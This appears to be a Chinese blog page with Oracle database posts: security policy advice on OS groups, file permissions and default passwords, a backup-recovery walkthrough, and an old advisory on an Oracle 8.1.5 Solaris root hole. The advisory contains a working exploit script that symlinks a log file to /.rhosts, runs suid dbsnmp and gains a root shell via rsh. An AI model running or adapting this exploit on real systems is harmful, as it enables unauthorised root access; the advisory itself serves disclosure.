只应该把一些特定的系统权限授予开发者。
(2) 应用程序开发者的环境
a 程序开发者不应与终端用户竞争数据库资源;
b 用程序开发者不能损害数据库其他应用产品。
(3) free和controlled应用程序开发
应用程序开发者有一下两种权限:
a free development
应用程序开发者允许创建新的模式对象,包括table,index,
procedure,package等,它允许应用程序开发者开发独立于其
他对象的应用程序。
b controlled development
应用程序开发者不允许创建新的模式对象。所有需要table,
indes procedure等都由数据库管理者创建,它保证了数据
库管理者能完全控制数据空间的使用以及访问数据库信息的
途径。但有时应用程序开发者也需这两种权限的混和。
(4) 应用程序开发者的角色和权限
数据库安全性管理者能创建角色来管理典型的应用程序开
发者的权限要求。
a create系统权限常常授予给应用程序开发者,以到于
他们能创建他的数据对象。
b 数据对象角色几乎不会授予给应用程序开发者使用的
角色。
(5) 加强应用程序开发者的空间限制
作为数据库安全性管理者,您应该特别地为每个应用程
序开发者设置以下的一些限制:
a 开发者可以创建table或index的表空间;
b 在每一个表空间中,开发者所拥有的空间份额。应用程
序管理者的安全在有许多数据库应用程序的数据库系统
中,您可能需要一应用程序管理者,应用程序管理者应
负责以下的任务:
c 为每一个应用程序创建角色以及管理每一个应用程序
的角色;
d 创建和管理数据库应用程序使用的数据对象;
e 需要的话,维护和更新应用程序代码和oracle的存储
过程和程序包。

 

Posted in oracle数据库 | No Comments

保证oracle数据库安全性的策略和方法

五月 30th, 2008 by admin

   数据库安全性问题一直是围绕着数据库管理员的恶梦,数据库数据的丢失以及数据库被非法用户的侵入使得数据库管理员身心疲惫不堪。围绕数据库的安全性问题提出了一些安全性策略,希望对数据库管理员有所帮助。对于数据库数据的安全问题,数据库管理员可以参考有关系统双机热备份功能以及数据库的备份和恢复的资料。

一、组和安全性:

在操作系统下建立用户组也是保证数据库安全性的一种有效方法。oracle程序为了安全性目的一般分为两类:一类所有的用户都可执行,另一类只dba可执行。在unix环境下组设置的配置文件是/etc/group,关于这个文件如何配置,请参阅unix的有关手册。

保证安全性的几种方法:

(1) 在安装oracleserver前,创建数据库管理员组(dba)而且分配root和oracle软件拥有者的用户id给这个组。dba能执行的程序只有710权限。在安装过程中sql*dba系统权限命令被自动分配给dba组。

(2) 允许一部分unix用户有限制地访问oracle服务器系统,增加一个由授权用户组的oracle组,确保给oracle服务器实用例程oracle组id,公用的可执行程序,比如sql*plus,sql*fo
rms等,应该可被这组执行,然后该这个实用例程的权限为710,它将允许同组的用户执行,而其他用户不能。

(3) 改那些不会影响数据库安全性的程序的权限为711。注:在我们的系统中为了安装和调试的方便,oracle数据库中 的两个具有dba权限的用户sys和system的缺省密码是manager。为了您数据库系统的安全,我们强烈建议您该掉这两个用户的密码,具体操作如下:
在sql*dba下键入:
alter user sys indentified by password;
alter user system indentified by password;
其中password为您为用户设置的密码。

oracle服务器实用例程的安全性:

以下是保护oracle服务器不被非法用户使用的几条建议:

(1) 确保$oracle_home/bin目录下的所有程序的拥有权归oracle软件拥有者所有;

(2) 给所有用户实用便程(sqiplus,sqiforms,exp,imp等)711权限,使服务器上所有的用户都可访问oracle服务器;

(3) 给所有的dba实用例程(比如sql*dba)700权限。oracle服务器和unix组当访问本地的服务器时,您可以通过在操作系统下把oracle服务器的角色映射到unix的组的方式来使用unix管理服务器的安全性,这种方法适应于本地访问。

在unix中指定oracle服务器角色的格式如下:
ora_sid_role[_dla]
其中sid是您oracle数据库的oracle_sid;
role 是oracle服务器中角色的名字;
d (可选)表示这个角色是缺省值;
a (可选)表示这个角色带有with admin选项,
您只可以把这个角色授予其他角色,不能是其他用户。
以下是在/etc/group文件中设置的例子:
ora_test_osoper_d:none:1:jim,narry,scott
ora_test_osdba_a:none:3:pat
ora_test_role1:none:4:bob,jane,tom,mary,jim
bin: none:5:root,oracle,dba
root:none:7:root
词组“ora_test_osoper_d”表示组的名字;词组“none”表示这个组的密码;数字1表示这个组的id;接下来的是这个组的成员。前两行是oracle服务器角色的例子,使用test作为sid,osoper和osdba作为oracle服务器角色的名字。osoper是分配给用户的缺省角色,osdba带有withadmin选项。为了使这些数据库角色起作用,您必须shutdown您的数据库系统,设置oracle数据库参数文件initoracle_sid.ora中os_roles参数为true,然后重新启动您的数据库。如果您想让这些角色有connectinternal权限,运行orapwd为这些角色设置密码。当您尝试connect internal时,您键入的密码表示了角色所对应的权限。

sql*dba命令的安全性:
如果您没有sql*plus应用程序,您也可以使用sql*dba作sql查权限相关的命令只能分配给oracle软件拥有者和dba组的用户,因为这些命令被授予了特殊的系统权限。
(1) startup
(2) shutdown
(3) connect internal

数据库文件的安全性:

oracle软件的拥有者应该这些数据库文件($oracle_home/dbs/*.dbf)设置这些文件的使用权限为0600:文件的拥有者可读可写,同组的和其他组的用户没有写的权限。oracle软件的拥有者应该拥有包含数据库文件的目录,为了增加安全性,建议收回同组和其他组用户对这些文件的可读权限。

网络安全性:

当处理网络安全性时,以下是额外要考虑的几个问题。

(1)在网络上使用密码在网上的远端用户可以通过加密或不加密方式键入密码,当您用不加密方式键入密码时,您的密码很有可能被非法用 户截获,导致破坏了系统的安全性。

(2)网络上的dba权限控制您可以通过下列两种方式对网络上的dba权限进行控制:
a 设置成拒绝远程dba访问;
b 通过orapwd给dba设置特殊的密码。

二、建立安全性策略:

系统安全性策略:

(1) 管理数据库用户数据库用户是访问oracle数据库信息的途径,因此,应该很好地维护管理数据库用户的安全性。按照数据库系统的大小和管理数据库用户所需的工作量,数据库安全性管理者可能只是拥有create,alter,或drop数据库用户的一个特殊用户,或者是拥有这些权限的一组用户,应注意的是,只有那些值得信任的个人才应该有管理数据库用户的权限。

(2) 用户身份确认数据库用户可以通过操作系统,网络服务,或数据库进行身份确认,通过主机操作系统进行用户身份认证的优点有:
a 用户能更快,更方便地联入数据库;
b 通过操作系统对用户身份确认进行集中控制:如果操作系统与数据库用户信息一致,那么oracle无须存储和管理用户名以及密码;
c 用户进入数据库和操作系统审计信息一致。

(3) 操作系统安全性
a 数据库管理员必须有create和delete文件的操作系统权限;
b 一般数据库用户不应该有create或delete与数据库相关文件的操作系统权限;
c 如果操作系统能为数据库用户分配角色,那么安全性管理者必须有修改操作系统帐户安全性区域的操作系统权限。
数据的安全性策略:
数据的生考虑应基于数据的重要性。如果数据不是很重要,那么数据的安全性策略可以稍稍放松一些。然而,如果数据很重要,那么应该有一谨慎的安全性策略,用它来维护对数据对象访问的有效控制。

用户安全性策略:

(1) 一般用户的安全性
a 密码的安全性
如果用户是通过数据库进行用户身份的确认,那么建议使用密码加密的方式与数据库进行连接。
这种方式的设置方法如下:
在客户端的oracle.ini文件中设置
ora_encrypt_login数为true;
在服务器端的initoracle_sid.ora文件中设置
dbling_encypt_login参数为true。
b 权限管理
对于那些用户很多,应用程序和数据对象很丰富的数据库,应充分利用“角色”这个机制所带的方便性对权限进行
有效管理。对于复杂的系统环境,“角色”能大大地简化权限的管理。

(2) 终端用户的安全性
您必须针对终端用户制定安全性策略。例如,对于一个有很多用户的大规模数据库,安全性管理者可以决定用户组分类,为这些用户组创建用户角色,把所需的权限和应用程序角色授予每一个用户角色,以及为用户分配相应的用户角色。当处理特殊的应用要求时,安全性管理者也必须明确地把一些特定的权限要求授予给用户。您可以使用“角色”对终端用户进行权限管理。

数据库管理者安全性策略:

(1) 保护作为sys和system用户的连接当数据库创建好以后,立即更改有管理权限的sys和system用户的密码,防止非法用户访问数据库。当作为sys和system用户连入数据库后,用户有强大的权限用各种方式对数据库进行改动。

(2) 保护管理者与数据库的连接
应该只有数据库管理者能用管理权限连入数据库,当以sysdba或startup,shutdown,和recover或数据库对象(例如create,drop,和delete等)进行没有任何限制的操作。

(3) 使用角色对管理者权限进行管理

应用程序开发者的安全性策略:

(1) 应用程序开发者和他们的权限数据库应用程序开发者是唯一一类需要特殊权限组完成自己工作的数据库用户。开发者需要诸如createtable,createprocedure等系统权限,然而,为了限制开发者对数据库的操作,只应该把一些特定的系统权限授予开发者。

(2) 应用程序开发者的环境
a 程序开发者不应与终端用户竞争数据库资源;
b 用程序开发者不能损害数据库其他应用产品。

(3) free和controlled应用程序开发

应用程序开发者有一下两种权限:
a free development
应用程序开发者允许创建新的模式对象,包括table,index,procedure,package等,它允许应用程序开发者开发独立于其他对象的应用程序。
b controlled development
应用程序开发者不允许创建新的模式对象。所有需要table,indes procedure等都由数据库管理者创建,它保证了数据库管理者能完全控制数据空间的使用以及访问数据库信息的途径。但有时应用程序开发者也需这两种权限的混和。

(4) 应用程序开发者的角色和权限
数据库安全性管理者能创建角色来管理典型的应用程序开发者的权限要求。
a create系统权限常常授予给应用程序开发者,以到于他们能创建他的数据对象。
b 数据对象角色几乎不会授予给应用程序开发者使用的角色。

(5) 加强应用程序开发者的空间限制作为数据库安全性管理者,您应该特别地为每个应用程序开发者设置以下的一些限制:
a 开发者可以创建table或index的表空间;
b 在每一个表空间中,开发者所拥有的空间份额。应用程序管理者的安全在有许多数据库应用程序的数据库系统
中,您可能需要一应用程序管理者,应用程序管理者应负责以下的任务:
c 为每一个应用程序创建角色以及管理每一个应用程序的角色;
d 创建和管理数据库应用程序使用的数据对象;
e 需要的话,维护和更新应用程序代码和oracle的存储过程和程序包。

Posted in oracle数据库 | No Comments

oracle 8 严重漏洞

五月 30th, 2008 by admin

综述:

oracle 8.1.5 for un*x存在普通用户可以得到root权限的漏洞。

检验环境:

oracle 8.1.5 on solaris 2.6 sparc 版本。

漏洞详细描述:

如果没有设置oracle_home,运行dbsnmp(缺省设置suid root/sgid dba)时会在
当前目录下产生两个log文
件:dbsnmpc 和 dbsnmpt 。如果这两个文件不存在,dbsnmpd将会创建属性为666、大
小为400字节左右这两个文
件。如果这两个文件存在,dbsnmp将不改变此文件属性,并将400字节左右的输出内容
附加到这两个文件中。如
果root没有设置.rhosts文件,就可以通过创建一个/tmp/dbsnmpc 到 /.rhosts的符号
连接来得到root权限。

检验程序:

oracle8% uname -a; id
sunos oracle8 5.6 generic_105181-05 sun4u sparc
sunw,ultra-5_10
uid=102(btellier) gid=10(staff)
oracle8% /tmp/oracle.sh
couldn’t read file “/config/nmiconf.tcl”: no such file or directory
failed to initialize nl component,error=462
failed to initialize nl component,error=462
#
— oracle.sh —
#!/bin/sh
# exploit for oracle 8.1.5 on solaris 2.6 and probably others
# you’ll probably have to change your path to dbsnmp
# exploit will only work if /.rhosts does not exist
#
# brock tellier btellier@usa.net
cd /tmp
unset oracle_home
umask 0000
ln -s /.rhosts /tmp/dbsnmpc.log
/u01/app/oracle/product/8.1.5/bin/dbsnmp
echo “+ +” > /.rhosts
rsh -l root localhost ’sh -i’
rsh -l root localhost rm /tmp/*log*
rsh -l root localhost rm /.rhosts

 

Posted in oracle数据库 | No Comments

用Oracle的热备份重建数据库

五月 30th, 2008 by admin

为了检验我为公司开发的Oracle数据库在线自动备份系统,我根据“Oracle数据库在线自动备份系统”产生的备份文件来重建和恢复Oracle数据库。为了让大家共享其方法和步骤(也适合于用其它方式对Oracle做的热备份进行重建数据库)现整理如下。

一、系统环境

本次测试所使用的系统环境如下:

1. 硬件环境

服务器:Dell PowerEdge 1300 (CPU:PⅢ 550MHz 内存:128MB 硬盘:36GB)

2. 软件环境

操作系统:UnixWare 7.1

数据库: Oracle 8.1.6 for Unix 企业版,SID:ora816

Oracle安装路径:/home/oracle

备份文件:所有数据库文件、控制文件、初始化文件、数据库备份以来的所有归档日志文件。

二、恢复步骤

下面根据从用户处带回来的备份数据,在一台新的服务器重建Oracle数据库。其详细步骤如下:

1. 创建数据库恢复使用的环境

在新的Dell服务器上,安装与原来的数据库服务器相同的操作系统UnixWare 7.1;然后安装与原数据库相同版本的Oracle 8.1.6 for Unix 企业版。

2. 删除新服务器上的Oracle实例

启动新数据库服务器上的Oracle,在sqlplus中,查找到数据库文件的路径,并保存在当前路径下的文件file_name.txt中:

$ sqlplus system/manager

SQL> spool file_name.txt

SQL> select file_name from sys.dba_data_files;

SQL> spool end

SQL>exit

关闭新服务器的Oracle,然后根据文件file_name.txt中的路径,删除新装的Oracle实例的所有数据库文件。

注:从本步开始所有操作都是用Oracle用户登录操作系统(Unix)后进行。文中所有的黑色粗体5号字符(标题除外)的语句可以直接执行,黑色倾斜粗体5号字符的语句需要修改后执行。

3. 恢复数据库文件

把备份的所有数据库文件用Ftp上传新的数据库服务器中的相同路径下。如果原来的路径已不存在,可以拷贝到其他路径下,恢复时详细处理方法见步骤7中<2>。

4. 恢复初始化参数文件

把备份的initSID.ora文件用Ftp上传到新数据库服务器中Oracle实例的initSID.ora文件位置,覆盖之。其位置一般在$ORACLE_HOME/dbs目录下。

5. 恢复控制文件

把备份的ControlFile.bak文件用Ftp上传到新数据库服务器中Oracle实例的各个镜像路径下,并按初始化参数文件initSID.ora中的该项的位置和名称命名。

control_files = (”/home/oracle/app/oracle/oradata/ora816/control01.ctl”, ”

/home/oracle/app/oracle/oradata/ora816/control02.ctl”,”

/home/oracle/app/oracle/oradata/ora816/control03.ctl”)

其路径如有变动,在初始化参数文件initSID.ora中修改如上内容的路径和名称,使其实际路径与该参数的路径一致。

6. 恢复归档日志文件

把数据库备份后的归档日志用Ftp上传到新数据库服务器的相同路径下。路径如有变动可以根据初始化参数文件initSID.ora中如下位置进行修改,使其实际路径与该参数的路径一致。

log_archive_dest_1 = “location=/home/oracle/app/oracle/admin/ora816/arch”

7. 恢复数据库

经过以上6个步骤,把所有的备份文件已经上传到了新数据库服务器中。下面开始根据这些文件恢复并启动数据库,先在操作系统的提示符下做如下操作:

$svrmgrl

SVRMGR>connect internal

SVRMGR>startup mount

<1> 创建口令文件

如果原来的数据库配置了口令文件,并且在mount数据库时报如下错误:

ORA-01990: error opening password file ‘/home/oracle/app/oracle/product/8.1.6/dbs/orapw’

可以到/home/oracle/app/oracle/product/8.1.6/dbs/路径下,用以下命令创建口令文件:

orapwd

其用法如下:

Usage: orapwd file=<fname> password=<password> entries=<users>

where

file - name of password file (mand),(口令文件的命名方式为:orapwSID)

password - password for SYS and INTERNAL (mand),

entries - maximum number of distinct DBA and OPERs (opt),

There are no spaces around the equal-to (=) character.

例如: orapwd file=orapwora816 password=manager

然后重新执行如下语句mount数据库:

SVRMGR>startup mount。

<2> 修改数据库文件的路径

如果在上述的步骤3中修改了恢复的数据库文件的路径,可以用如下语句对数据库文件重新命名 :

alter database rename file ‘old_file’ to ‘new_file’;

如把原来路径/home/oracle/app/oracle/oradata/ora816下的文件system01.dbf改到了

/u21/oracle/app/oracle/oradata/ora816下:

SVRMGR>alter database rename file

‘/home/oracle/app/oracle/oradata/ora816/system01.dbf’

to ‘/u21/oracle/app/oracle/oradata/ora816/system01.dbf’;

按照上面的方法把所有修改路径的数据库文件重新命名。

<3> 根据控制文件和归档日志文件恢复数据库

下面开始用控制文件和归档日志文件恢复数据库:

SVRMGR>recover database using backup controlfile until cancel;

出现如下提示:

ORA-00279: change 50971 generated at 08/23/2002 09:21:27 needed for thread 1

ORA-00289: suggestion: /home/oracle/app/oracle/admin/ora8/arch/arch_1_399.arc

ORA-00280: change 50971 for thread 1 is in sequence #399

Specify log: {<RET>=suggested | filename | AUTO | CANCEL}输入:

auto

如果有如下提示,则表示成功。

ORA-00279: change 51007 generated at 08/23/2002 11:23:13 needed for thread 1

ORA-00289: suggestion: /home/oracle/app/oracle/admin/ora8/arch/arch_1_400.arc

ORA-00280: change 51007 for thread 1 is in sequence #400

ORA-00278: log file ‘/home/oracle/app/oracle/admin/ora8/arch/arch_1_399.arc’ noy

Log applied.

意外处理:如果其它提示可能是需要的日志文件不存在,检查ORA-00289中该文件是否存在。

直到出现如下提示:

ORA-00279: change 51011 generated at 08/23/2002 11:23:45 needed for thread 1

ORA-00289: suggestion: /home/oracle/app/oracle/admin/ora8/arch/arch_1_401.arc

ORA-00280: change 51011 for thread 1 is in sequence #401

ORA-00278: log file ‘/home/oracle/app/oracle/admin/ora8/arch/arch_1_400.arc’ noy

ORA-00308: cannot open archived log ‘/home/oracle/app/oracle/admin/ora8/arch

/arch_1_401.arc’

ORA-27037: unable to obtain file status

Intel SVR4 UNIX Error: 2: No such file or directory

Additional information: 3

<4> 重置日志

SVRMGR>alter database open resetlogs;

意外处理:如果提示创建日志的路径不存在,按提示路径创建目录。然后再重置日志。

<5> 重启数据库,完成恢复

SVRMGR>shutdown immediate

SVRMGR>startup

ORACLE instance started.

Total System Global Area 123437040 bytes

Fixed Size 69616 bytes

Variable Size 106418176 bytes

Database Buffers 16777216 bytes

Redo Buffers 172032 bytes

Database mounted.

Database opened.

数据库正常打开,数据库重建恢复成功。

Posted in oracle数据库 | No Comments

« Previous Entries